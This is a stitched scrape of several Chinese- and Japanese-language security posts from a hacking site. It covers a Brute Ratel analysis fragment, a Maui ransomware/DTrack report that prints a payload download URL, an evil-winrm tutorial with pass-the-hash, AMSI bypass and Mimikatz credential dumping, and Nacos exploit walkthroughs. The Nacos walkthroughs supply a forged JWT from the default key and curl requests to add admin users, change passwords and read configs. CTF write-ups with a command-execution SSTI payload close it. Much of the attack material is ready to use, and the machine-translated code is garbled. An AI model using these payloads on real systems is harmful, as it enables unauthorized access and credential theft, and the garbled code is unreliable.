對兩個badger 關聯時的頁面權限分析表明，無論休眠時間如何，兩者都保持PAGE_EXECUTE_READ：

20.png

結論是混淆和休眠策略僅適用於.text 部分。

出於對模糊處理和睡眠功能如何工作的好奇，我們開始對其進行逆向工程。通過windbg 中的sleep 例程，我們可以初步了解正在發生的事情，badger正在使用WaitForSingleObjectEx 在一系列異步過程調用(APC) 期間延遲執行，並利用間接系統調用來執行NtTestAlert 並在線程上強制發出警報：

21.png

深入了解IDA，我們可以更好地了解正在發生的事情。首先，它創建一個新線程，其起始地址被欺騙到TpReleaseCleanupGroupMembers+550 的固定位置：

22.png

然後為NtWaitForSingleObject、NtProtectVirtualMemory、SystemFunction032、NtGetContextThread 和SetThreadContext 的多個函數調用創建一系列上下文結構：

23.png

接下來，許多APC 排隊等待NtContinue，目的是使用它來代理對上述上下文結構的調用，這種技術是ROP的基本形式：

24.png

在對睡眠技術進行逆向工程後，我們很快意識到它與@ilove2pwn_的Foliage項目非常相似，只是硬編碼的線程起始地址不同。

儘管對badger進行了大量的調試和逆向工程，但我們無法揭示v1.0 博客文章中引用的“Windows 事件創建、等待對象和計時器”技術的任何實證，事實上，這些技術所需的API 似乎並沒有通過badger 的哈希導入來輸入。

Brute Ratel線程為了分析Brute Ratel 線程在內存中的外觀，我們將badger 注入到記事本的新副本中。隨即，我們可以看到休眠的badger使用的線程中有一些可疑的指標。

首先，我們注意到有一個看起來可疑的線程，其起始地址為0x0，並且在調用堆棧中有一個調用WaitForSingleObjectEx 的單獨的幀：

25.png

根據對線程調用堆棧的分析，我們可以推測該線程用於HTTP 通信，而badger現在正在休眠：

26.png

根據我們從對混淆和休眠策略進行逆向工程獲得的信息，我們注意到新線程是使用硬編碼的欺騙起始地址ntdll!TpReleaseCleanupGroupMembers+0x550 創建的：

27.png

我們無法找到任何作為起始地址自然發生的實例，因此導致了一個用於尋找Brute Ratel 線程的微不足道的指標。實際上，我們注入的記事本進程如下所示：

28.png

線程的調用堆棧也略有不規則，因為它不僅包含延遲執行的調用，而且第一幀指向ntdll.dll!NtTerminateJobObject+0x1f。深入了解為什麼使用NtNerminateJobObject 會突出顯示這只是NtTestAlert 的ROP 小工具，用於在線程上執行掛起的APC：

29.png

內存掛鉤在第一篇文章中，我們詳細介紹了兩種基於內存掛鉤檢測內存信標的潛在方法，通過查找已知補丁的簽名（例如ret to ntdll.dll!EtwEventWrite）並通過檢測寫入操作的副本。

將這些概念應用到Brute Ratel中，我們注意到，在操作員使用其開發後功能之前，badger不會應用任何內存掛鉤。一個例子是Sharpinline 命令，它在當前進程中運行一個.NET 程序集：

30.png

一旦組裝完成並且信標重新進入休眠狀態，我們可以通過附加調試器並反彙編ntdll.dll!EtwEventWrite 和amsi.dll!AmsiScanBuffer 的值來更好地了解發生了什麼：

31.png

如上所示，這些是禁用.NET ETW 數據和禁止AMSI 的簡單且持久的補丁。由於補丁是持久的，我們可以通過上述任何一種技術來檢測它們，因為我們不僅會因為EtwEventWrite 的第一條指令是ret 而收到高信號檢測，而且還會因為EtwEventWrite所在的頁面由於共享位的清除而被修改。

使用BeaconHunter，我們可以通過解析修改頁面上的導出信息，快速檢測出這些掛鉤，為惡意篡改提供了強有力的指示：

32.png

Brute Ratel C2 服務器遠離終端，作為防御者，我們也有興趣檢測命令和控制基礎設施，因為這可能有助於為我們提供足夠的智能來檢測基於網絡檢測的信標。

Brute Ratel的C2服務器是用golang開發的，默認情況下只允許操作員修改C2的默認登錄頁面。為了識別C2服務器，我們發現在向任何URI發送包含base64的POST請求時，都可能生成未處理的異常。例如，考慮下面base64 POST數據與明文數據的比較：

33.png

這很可能是因為base64 解碼POST 數據的預期輸入應符合C2 通信格式。一個簡單的Nuclei 規則可能會幫助我們掃描這種基礎設施：

34.png

除了與C2 的直接交互之外，還可以檢測C2 基礎設施，其中操作員沒有根據HTML 的哈希(http.html_hash=-1957161625) 手動重新定義默認登錄頁面。

使用一個簡單的Shodan查詢，我們可以快速找到暴露在互聯網上的實時基礎設施：

35.png

雖然只確定了大約40 個組織服務器，但根據地理分佈，我們可以更好地了解這些服務器的位置：

36.png

其中一些技術很可能已經為人所知，因為根據針對我們測試基礎設施的報告，防御者正在積極尋找這些C2 服務器：

37.png

蠻橫的Ratel 配置對Badger 的分析表明，Brute Ratel 在內存中維護了一個加密的配置結構，其中包括C2 終端的詳細信息。能夠從工件或正在運行的進程中提取這一點對防御者很有幫助。我們的分析表明，此配置保存在base64 和RC4 加密的blob 中，使用badger的工件中的固定密鑰“bYXJm/3#M?XyMBF”，而配置以明文形式存儲在內存中供休眠的badger使用。

我們開發了以下配置提取器，可用於

HireHackking

sl-abstract-block-module-structure-1200x600.jpg

2022 年7 月7 日，CISA 發布了一篇題為“朝鮮國家支持的攻擊者使用Maui 勒索軟件攻擊醫療保健和公共衛生部門”的警報。最近，卡巴斯基實驗室的研究人員又對Maui 勒索軟件進行了研究，並將其出現的時間從2021 年5 月提前到了2021 年4 月15 日。由於早期事件中的惡意軟件是在2021年4月15日編譯的，而所有已知樣本的編譯日期都是相同的，因此這次事件可能是有史以來第一次涉及Maui 勒索軟件的事件。

雖然CISA 在其報告中沒有提出有力的證據將此次攻擊歸咎於朝鮮攻擊者，但卡巴斯基實驗室的研究人員確定，在將Maui部署到初始目標系統大約10小時前，該組織向目標部署了眾所周知的DTrack惡意軟件的變體，幾個月前又部署了3proxy（一個由俄羅斯人開發的多平台代理軟件）。綜上所述，研究人員十分有把握，認為這與針對韓國的APT組織Andariel類似。 Andariel是Lazarus組織下的一個子組，主要攻擊目標為韓國企業和政府機構。

2020.12.25：發現可疑的3proxy 工具；

2021.4.15：發現DTrack 惡意軟件；

2021.4.15：發現Maui 勒索軟件；

DTrack 惡意軟件1.png

一旦運行這個惡意軟件，它就會執行一個嵌入的shellcode，加載一個最終的Windows 內存中的有效負載。該惡意軟件負責收集受害者信息並將其發送到遠程主機。它的功能幾乎與以前的DTrack 模塊相同。該惡意軟件通過Windows 命令收集有關受感染主機的信息。內存中的有效負載執行以下Windows 命令：

2.png

此外，該惡意軟件還會收集瀏覽器歷史數據，並將其保存到browser.his 文件中，就像舊變種一樣。與舊版本的DTrack 相比，新的信息收集模塊通過HTTP 將被盜信息發送到遠程服務器，該變體將被盜文件複製到同一網絡上的遠程主機。

Maui 勒索軟件Maui 勒索軟件是在同一服務器上的DTrack 變種後十小時檢測到的。

3.png

Maui 勒索軟件存在多個運行參數。在此事件中，我們觀察到攻擊者使用“-t”和“-x”參數，以及特定的驅動器路徑進行加密：

4.png

在這個示例中，“-t 8”將勒索軟件線程數設置為8，“-x”命令惡意軟件“self melt”，“E:”值將路徑（在這個案例中為整個驅動器）設置為加密。勒索軟件的功能與之前Stairwell 報告中描述的相同。

該惡意軟件創建了兩個密鑰文件來實現文件加密：

5.png

不同受害者身上的類似DTrack 惡意軟件根據對相鄰主機的滲透信息，研究人員在印度發現了更多受害者。其中一台主機最初於2021 年2 月遭到攻擊。 Andariel 很可能竊取了提升的憑據以在目標組織內部署此惡意軟件，但這種猜測是基於路徑和其他工件，具體細節還需要繼續分析。

6.png

該惡意軟件的主要目標與上述受害者的情況相同，使用不同的登錄憑據和本地IP 地址來竊取數據。

7.png

Windows命令來竊取數據

從同一個受害者身上，我們發現了其他使用不同登錄憑據的DTrack 惡意軟件(MD5 87e3fc08c01841999a8ad8fe25f12fe4)。

新增DTrack模塊和初始感染方法“3Proxy”工具可能是攻擊者使用的工具，於2020 年9 月9 日編譯，並於2020 年12 月25 日部署給受害者。基於這個檢測和編譯日期，研究人員擴大了研究範圍，發現了一個額外的DTrack 模塊。該模塊編譯於2020年09月16日14:16:21，並在2020年12月初檢測到，與3Proxy工具部署的時間點相似。

8.png

這個DTrack模塊非常類似於DTrack的事件跟踪模塊，該模塊之前被報告給我們的威脅情報客戶。在一個受害系統中，我們發現一個知名的簡單HTTP服務器HFS7部署了上面的惡意軟件。在一個易受攻擊的HFS服務器上使用未知漏洞並執行“whoami”後，執行下面的Powershell命令從遠程服務器獲取額外的Powershell腳本：

9.png

mini.ps1 腳本負責通過bitsadmin.exe 下載並執行上述DTrack 惡意軟件：

10.png

另一個受害者操作了一個易受攻擊的Weblogic 服務器。根據分析，攻擊者通過CVE-2017-10271 漏洞攻擊了該服務器。研究人員看到Andariel 在2019 年年中濫用了相同的漏洞並破壞了WebLogic 服務器。在本案例中，被利用的服務器會執行Powershell 命令來獲取額外的腳本。獲取的腳本能夠從我們上面提到的服務器（hxxp://145.232.235[.]222/usr/users/mini.ps1）下載Powershell 腳本。因此攻擊者至少在2020 年底之前濫用了易受攻擊的面向互聯網的服務來部署他們的惡意軟件。

受害者分析2022年7月的CISA 警報指出，醫療保健和公共衛生部門已成為美國Maui 勒索軟件的攻擊目標。然而，根據我們的研究，我們認為這項業務並不針對特定行業，而且其影響範圍是全球性的。可以確認，有一家日本住房公司於2021 年4 月15 日成為Maui 勒索軟件的攻擊目標。此外，來自印度、越南和俄羅斯的受害者在類似的時間範圍內被日本Maui 事件中使用的DTrack 惡意軟件感染，時間是從2020 年底至2021 年初。

研究表明，該攻擊者相當投機取巧，無論其業務範圍如何，只要擁有良好的財務狀況，就可能成為其攻擊對象。攻擊者很可能偏愛易受攻擊的暴露於互聯網的Web 服務。此外，Andariel 有選擇地部署勒索軟件以獲取經濟利益。

11.png

幕後攻擊者是誰？根據卡巴斯基威脅歸因引擎(KTAE)，來自受害者的DTrack惡意軟件與之前已知的DTrack惡意軟件具有高度的代碼相似性(84%)。

此外，我們發現DTrack 惡意軟件(MD5 739812e2ae1327a94e441719b885bd19) 使用與“Backdoor.Preft”惡意軟件(MD5 2f553cba839ca4dab201d3f8154bae2a) 相同的shellcode 加載程序，此後門由賽門鐵克發布。請注意，賽門鐵克最近將Backdoor.Preft 惡意軟件描述為“aka Dtrack, Valefor”。除了代碼相似性之外，攻擊者還使用了3Proxy 工具(MD5 5bc4b606f4c0f8cd2e6787ae049bf5bb)，該工具之前也被Andariel/StoneFly/Silent Chollima 組織(MD5 95247511a611ba3d8581c7c6b8b1a38a) 使用。賽門鐵克將StoneFly 歸咎於DarkSeoul 事件背後的攻擊者。

總結綜合分析，Maui 勒索軟件事件背後的攻擊者TTP 與過去的Andariel/Stonefly/Silent Chollima 活動非常相似：

在初始感染後使用合法代理和隧道工具或部署它們以保持訪問權限，並使用Powershell 腳本和Bitsadmin 下載其他惡意軟件；

使用漏洞攻擊已知但未修補的易受攻擊的公共服務，例如WebLogic 和HFS；

專門部署DTrack，也被稱為Preft；

目標網絡中的駐留時間可以在活動之前持續數月；

出於經濟利益，在全球範圍內部署勒索軟件。

HireHackking

前言

Evil-winrm 工具最初是由 Hackplayers 团队开发的。开发该工具的目的是尽可能简化渗透测试，尤其是在 Microsoft Windows 环境中。 Evil-winrm 使用 PowerShell 远程协议 (PSRP)，且系统和网络管理员经常使用Windows Remote Management 协议进行上传和管理。 WinRM 是一种基于对防火墙友好的SOAP 协议，可通过 HTTP默认 端口 5985 与 HTTP 传输一起使用。有关 PowerShell 远程处理的更多信息，请参考访问 Microsoft 的官方网站。

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.3

Evil-winrm介绍

Evil-winrm 是一款使用ruby 语言开发的开源工具。 该工具具有许多很酷的功能，包括使用纯文本密码远程登录、SSL 加密登录、 NTLM 哈希登录、密钥登录、文件传输、日志存储等功能。该开发工具的作者不断更新工具并长期维护更新。 使用 evil-winrm，我们可以获得远程主机的 PowerShell命令终端会话。 该工具已在Kali Linux系统中集成，但如果您想单独下载使用，则可以从其官方 git 存储库下载它。

下载链接： https: //github.com/Hackplayers/evil-winrm

Winrm 服务发现

正如上文提到的那样，如果在远程主机中启用了 Winrm 服务，则会联想到使用 evil-winrm 工具。 为了确认目标系统是否开启了winrm服务，我们可以使用 nmap 查找两个默认的 winrm 服务端口 5895 和 5896 是否打开。 从 nmap 扫描结果中，我们发现 winrm 服务已启用，因此我们可以使用 evil-winrm 工具进行登录并执行我们将在横向阶段探索的其他任务。

nmap -p   5985 , 5986 192.168 .1 .19

1lofzb0mkue14169.png

Evil-winrm  help命令帮助

要列出 evil-winrm 的所有可用的功能，我们可以简单地使用 -h 标志，它将列出所有带有描述的帮助命令。

evil-winrm -h

5sgdbgypg2z14171.png

使用纯文本密码登录

假设我们在账户枚举阶段获得了明文密码，并且注意到远程主机启用了 winrm 服务 ，我们可以使用 evil-winrm 在目标系统上进行远程会话，使用方法是带有-i 参数的目标系统IP地址、带有 -u 参数的目标系统用户名，带有-p参数的目标系统密码。 如下图所示，我们可以看到已经建立了一个远程 PowerShell 会话。 

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987

gjatiqgxvsi14172.png

使用纯文本密码登录 - 启用 SSL

正如上文提到的那样，winrm 服务可通过 HTTP 协议传输流量，然后我们可以使用安全套接字层 (SSL) 功能来确保连接安全。 一旦启用 SSL 功能，我们的数据将通过加密的安全套接字层进行传输。使用 evil-winrm，我们可以使用-S 参数来建立与远程主机的安全传输的命令。

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -S

jym5ornkjqw14175.png

使用 NTLM Hash 登录 - 通过哈希攻击

在内网渗透或解决任何与 Windows 权限提升和 Active Directory 利用相关的项目中，我们经常通过各种攻击方法获得 NTLM 哈希值。 如果我们在 Windows 内网环境中，我们可以利用 evil-winrm 通过执行传递哈希攻击来建立 PowerShell 会话，这样可以将哈希作为密码而不是使用纯文本密码进行远程登陆。 除此之外，这种攻击还支持其他协议。 传递哈希我们可以使用-H 参数 。

evil-winrm -i 192.168.1.19 -u administrator -H 32196B56FFE6F45E294117B91A83BF38

g1tunhaty3014177.png

加载 Powershell 脚本

Evil-winrm 还提供了一项允许我们使用来自目标主机自带的powershell脚本的功能。 可以直接将脚本加载到内存中 ，我们可以使用带有-s 参数接目标系统的powershell脚本的相对路径 。 此外，该工具还提供了我们在导入任何脚本之前经常需要用到的 AMSI 功能。 在下面的示例中，我们将绕过 AMSI 功能，直接从系统中调用 Invoke-Mimiktz.ps1 脚本到目标主机中并将其加载到内存中。 之后，可以使用 mimikatz 命令。 本次出于演示目的，我们直接从缓存中转储了系统登陆凭据。 转储凭据后，我们可以再次使用获得的 NTLM 哈希进行哈希传递攻击。

https://github.com/clymb3r/PowerShell/blob/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1

ismxob1geb114179.png

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -s /opt/privsc/powershell
Bypass-4MSI
Invoke-Mimikatz.ps1
Invoke-Mimikatz

15i1wfr1zri14181.png

使用 Evil-winrm 存储日志

此功能表示在获取远程会话后，将执行命令的日志保存到我们的本地系统中。 我们在平时做项目时，都需要攻击凭据，以便进行后续报告输出。可以使用 -l 参数将 将所有日志保存到我们的主机系统中 ，默认保存到 /root/evil-winrm-logs 目录中。在下面的示例中，我们可以同时使用了 ipconfig 命令并将命令输出信息保存到主机系统中。

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -l

wkhop03xdqp14183.png

可以通过检查保存的日志内容来验证是否存将命令日志输出存储成功，可以看到已经存储了我们上文命令输出的日志信息。

1h33eve0f3z14187.png

禁用远程完整路径功能

默认情况下，该工具带有远程完整路径功能，但如果我们希望禁用远程路径完整功能，我们可以 在命令中使用-N参数。 这取决于个人是否喜欢打开或关闭路径完整功能，但如果您对自动完整路功能感到满意，则可以随意使用其默认功能。 

 evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -N

zlw3gtdnk3f14190.png

禁用彩色界面

每当我们使用 evil-winrm 建立任何远程会话时，都会生成一个漂亮的彩色命令行界面。 尽管如此，如果我们希望禁用彩色界面功能，那么我们也可以在建立会话时使用-n 参数来禁用该功能。

 evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -N

5ldymd2jhqo14191.png

运行可执行文件

此功能旨在解决我们在进行 PowerShell 会话时在评估期间遇到的实时问题和困难，我们不能将其放到命令行中。 在这种情况下，我们希望能够在 evil-winrm 会话中运行 exe 可执行文件。 假设我们有一个要在目标系统中运行的可执行文件。

zhwj0rqmlvi14192.png

Hackplayers 团队再次设计了该工具并添加了一个额外的功能，可以在 evil-winrm PowerShell 会话中运行所有可执行文件。 同样，我们可以使用 -e 参数来执行 exe 可执行二进制文件。 在下面的示例中，其中 WinPEAS.exe 可执行文件存储在本地计算机 /opt/privsc目录中，并使用 附加功能（  evil-winrm 菜单中的Invoke-Binary命令 ）来运行它。 此功能允许我们执行在命令行 shell 中运行的任何 exe 二进制文件。 

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -e /opt/privsc
Bypass-4MSI
menu
Invoke-Binary /opt/privsc/winPEASx64.exe

3xlalrhbjbl14195.png

一旦我们设置了可执行文件路径，我们就可以使用我们希望在目标系统中运行的任何可执行文件。 在下面的示例中，我们调用 WinPEASx64.exe 并使用 evil-winrm 将其运行到目标系统中。

h1hnxlx2iyp14197.png

使用 Evil-winrm 进行服务查询

有时后渗透测试工具，无法检测到目标系统中运行的服务名称。 在这种情况下，我们可以使用 evil-winrm 来查找目标系统中运行的服务名称。 为此，我们可以再次转到菜单并使用服务功能。 它将列出所有运行程序主机的服务。

2rima55wlhj14198.png

使用 Evil-winrm 进行文件传输

毫无疑问，evil-winrm 已尽最大努力使我们的使用尽可能地简单。 我们总是需要将文件从攻击机器传输到远程机器以执行其命令操作。 而 evil-winrm 工具提供的一项非常实用的功能，尤其是在我们面对目标系统中设置的出站流量规则以及我们将 evil-winrm 与代理一起使用时的情况下。 在下面的示例中，我们将/root目录中的notes.txt文件上传 到目标系统中。

t2zboiae4xo14199.png

文件从目标系统下载到攻击者的机器上。 同样，我们可以使用下面命令进行下载：

download notes.txt /root/raj/notes.txt

eqq0pf3scaz14200.png

e5zzxxndnrk14201.png

从 Docker 使用 Evil-winrm

此工具也可以安装在 docker 中。 如果我们在安装到evil-winrm的docker中，那么我们也可以从docker中调用它。 它将像在主系统中一样运行。 为此，请遵循 docker 语法以及 evil-winrm 命令从 docker 调用它。 

docker run --rm -ti --name evil-winrm  oscarakaelvis/evil-winrm -i 192.168.1.105 -u Administrator -p 'Ignite@987'

a33r1ach1hg14202.png

使用 Evil-winrm 密钥登录

Evil-winrm 还允许我们使用公钥和私钥建立远程会话，使用 带有-k的参数跟私钥，以及带有-c 的参数跟公钥，此外，我们还可以添加 -S 参数来启用 SSL 来使我们的连接加密和安全。 

evil-winrm -i 10.129.227.105 -c certificate.pem -k priv-key.pem -S

52dwa4a0kk014204.png


HireHackking

漏洞总结复现

 Nacos漏洞总结复现



一、Nacos默认key导致权限绕过登陆

0x00 漏洞描述

Nacos中发现影响Nacos <= 2.1.0的问题，Nacos用户使用默认JWT密钥导致未授权访问漏洞。 通过该漏洞，攻击者可以绕过用户名密码认证，直接登录Nacos用户

0x01 漏洞影响

0.1.0 <= Nacos <= 2.2.0

0x02 漏洞搜索

fofa：app="NACOS"

0x03 漏洞复现

在nacos中，token.secret.key值是固定死的，位置在conf下的application.properties中：

image.png

nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

 1.获取token

利用该默认key可进行jwt构造，直接进入后台，构造方法：
在https://jwt.io/中：输入默认key：

SecretKey012345678901234567890123456789012345678901234567890123456789

然后再payload里面输入：

{

  "sub": "nacos",

  "exp": 1678899909

}

在这里注意：1678899909这个值是unix时间戳，换算一下，要比你系统当前的时间更晚，比如当前的时间是2023年03月15日22:11:09，在这里面的时间戳时间是3月16号了：

image.png

image.png

注意：

以下是伪造JWT值绕过权限的测试结果

1、延长时间戳，POST 密码错误，用户名正确 ✅

2、延长时间戳，POST 密码错误，用户名错误 ✅

3、删除时间戳，POST 密码错误，用户名错误 ✅

复制上面得到的值，在burp里面选择登录之后构造：

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s

image.png

方框里面需要自行添加：

POST /nacos/v1/auth/users/login HTTP/1.1

Host: 10.211.55.5:8848

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0

Accept: application/json, text/plain, */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 33

Origin: http://10.211.55.5:8848

Connection: close

Referer: http://10.211.55.5:8848/nacos/index.html

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s


username=crowsec&password=crowsec

此时就得到了token信息：

HTTP/1.1 200 

Vary: Origin

Vary: Access-Control-Request-Method

Vary: Access-Control-Request-Headers

Content-Security-Policy: script-src 'self'

Set-Cookie: JSESSIONID=D90CF6E5B233685E4A39C1B1BDA9F185; Path=/nacos; HttpOnly

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s

Content-Type: application/json

Date: Wed, 15 Mar 2023 14:13:22 GMT

Connection: close

Content-Length: 197


{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}


此时就得到了nacos的token信息。

2.利用获取token登录后台

如何登录呢，在这里需要用假账号登录之后，再修改返回包就行了，试试看：
先用假账号登录，用burp拦截：
image.png

这肯定进不去的，在这里修改返回包，右键看下这个：

image.png

然后Forward，这边返回的信息肯定是无效的：

image.png

在这里使用刚刚burp里面生成的返回包进行替换，全部复制过去：

image.png

再forward一次：
image.png

此时就已经进去了：

image.png

3.使用默认密钥生成的JWT查看当前用户名和密码
GET /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s&pageNo=1&pageSize=9 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Connection: close
If-Modified-Since: Wed, 15 Feb 2023 10:45:10 GMT
Upgrade-Insecure-Requests: 1
accessToken: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s


4.利用默认密钥，添加hellonacos用户密码为hellonacos，创建成功

POST /nacos/v1/auth/users HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7sAccept-Encoding: gzip, deflate Connection: closeUpgrade-Insecure-Requests: 1If-Modified-Since: Wed, 15 Feb 2023 10:45:10 GMTContent-Type: application/x-www-form-urlencodedContent-Length: 39
username=hellonacos&password=hellonacos


二、Nacos默认配置未授权访问漏洞

http://10.10.84.207:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken
http://your_ip:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9
p0fccr4edvt14174.jpg2yfzm2swjxi14176.jpg


三、 Nacos2.2.0权限绕过

Header中添加serverIdentity: security能直接绕过身份验证查看用户列表
pbbjhp3b5ph14178.jpg如果没有或者不对应则返回403cwq1ypjc0yf14182.jpg

四、Nacos1.x.x版本User-Agent权限绕过((CVE-2021-29441)

0x01 漏洞描述

在 1.4.1 及更早版本的 Nacos 中，当配置为使用身份验证 （Dnacos.core.auth.enabled=true） 时，会使用 AuthFilter servlet 过滤器来强制实施身份验证，从而跳过身份验证检查。此机制依赖于用户代理 HTTP 标头，因此很容易被欺骗。此问题可能允许任何用户在 Nacos 服务器上执行任何管理任务。

0x02 环境搭建

docker run -d -p 8848:8848 hglight/cve-2021-29441

0x03 漏洞影响

Nacos <= 1.4.1

0x04 漏洞复现

1.修改User-Agent的值为Nacos-Server到请求包中,添加Header头后访问http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9可以看到返回值为200,且内容中是否包含pageItemsGET /nacos/v1/auth/users/?pageNo=1&pageSize=9 HTTP/1.1
Host: 192.168.246.138:8848
User-Agent: Nacos-Server

或者使用命令访问：读取用户密码：curl  'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&accessToken=' -H 'User-Agent: Nacos-Server'curl 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur' -H 'User-Agent: Nacos-Server'
curl 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate' -H 'User-Agent: Nacos-Server'未授权添加用户curl -X POST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test1&password=test1' -H 'User-Agent:Nacos-Server任意用户密码更改curl -X PUT 'http://127.0.0.1:8848/nacos/v1/auth/users?accessToken=' -H 'User-Agent:Nacos-Server' -d 'username=test1&newPassword=test2'读取配置文件curl -X GET 'http://127.0.0.1:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99’curl -X GET 'http://127.0.0.1:8848/nacos/v1/cs/configs?search=blur&dataId=&group=&pageNo=1&pageSize=99’
添加Header头后使用POST方式请求http://target:8848/nacos/v1/auth/users?username=vulhub&password=vulhub添加一个新用户,账号密码都为vulhubPOST /nacos/v1/auth/users?username=hglight&password=hglight HTTP/1.1
Host: 192.168.246.138:8848
User-Agent: Nacos-Server或者POST /nacos/v1/auth/users HTTP/1.1Host: 192.168.31.64:8848Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Nacos-ServerAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 27
username=hglight&password=hglight
再次查看用户列表，返回的用户列表数据中，多了一个我们通过绕过鉴权创建的新用户
GET /nacos/v1/auth/users/?pageNo=1&pageSize=9 HTTP/1.1
Host: 192.168.246.138:8848
User-Agent: Nacos-Server
访问http://IP:8848/nacos使用新建用户登录，此时表示漏洞利用成功
















		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
 web 



 input_data 


 The Tool https://github.com/kost/dvcs-ripperを使用します



./rip-svn.pl -u 3http://101.200.58.4:10005/.svn



.svnディレクトリをダウンロードします



次に、構造を確認し、いくつかのファイルを見つけます



 1049983-20241004174649885-874008864.jpg



cdディレクトリを入力してから、catファイル名フラグ{5674938f-803d-4c41-8f84-a77f5164bb4f}を表示します



 1049983-20241004174650809-663276795.png



フラグ：旗{5674938F-803D-4C41-8F84-A77F5164BB4F}



 admin 


オーバーライド許可を通じて管理者への最初のアクセス、アクセスパスは次のとおりです



/;/admin



 1049983-20241004174651495-30944686.jpg



次に、BP辞書の列挙はパラメーターを渡すために使用され、パスはSTIをテストするために使用されます。テスト後、Javaビュー操作STIを使用する必要があることがわかりました。



次のようにペイロード



http://101.200.58.4:3333/;/admin？path=__ $％7bnew％20java.util.scanner（t（java.lang.runtime）.getruntime（）



成功したコマンド実行:



 1049983-20241004174652133-174386126.jpg



フラグ：flag {5d28c6ce-fede-498a-9053-6fe53f54f7d3}



フラスコ


質問のソースコードは次のとおりです



フラスコのインポートフラスコから、リクエスト、応答



Reをインポートします



app=flask（__name__）



@app.route（ '/'）



def index（）:



 evalme=request.args.get（ 'evalme'）



 if（（evalmeではない）またはre.search（r '[a-zd-z \\。 /*$＃@！+^]'、evalme））:



 「ハッカー？」を返します



 a=eval（evalme）



 印刷（1）



 f:として開いている（a、 'rb'）



 返信応答（f.read（））



__name__=='__main __' :の場合



 app.run（port=8081、debug=true）



文字は無効になっているため、ABCはフォーマットされた文字列を構築することもできますが、実際には、ABCがない場合でも、Unicode文字でバイパスすることもできます。



コマンドは次のとおりです。フォーマット文字列コンストラクトファイル名/フラグ



/？evalme=[a:=％22％c％c％c％c％c％c％c％c％22％（47,102,108,97,103）] [-1]



 1049983-20241004174652875-1561261817.jpg



非常に多くのフラグ


次のレイヤーファイルf1aaj.phpはソースコードにあります



Cookie/flll4g.phpのタイトルの次のレイヤーでファイルを見つける



 1049983-20241004174653545-1530320814.jpgFLLLL4G.PHPアクセスソースコードは次のとおりです



？php



if（isset（$ _ get ['x']））{



 $ temp=$ _get ['x'];



 is_numeric（$ temp）？ die（ 'no numeric'）: null;



 if（$ temp 9999）{



 echo 'pupil./br';



 } それ以外{



 die（ 'no！no！no！'）;



 }



}



それ以外{



 die（ 'xはどこですか？'）;



}



if（isset（$ _ get ['y']））{



 $ md5=$ _get ['y'];



 if（$ md5==md5（$ md5））{



 Echo 'ジュニアスクールの生徒//br';



 } それ以外{



 die（ 'no！no！no！'）;



 }



}



それ以外{



 die（ 'yはy？'）;



}



if（isset（$ _ get ['z']））{



 $ content=$ _get ['z'];



 if（strlen（$ content）=60）{



 die（ '長い！'）;



 }



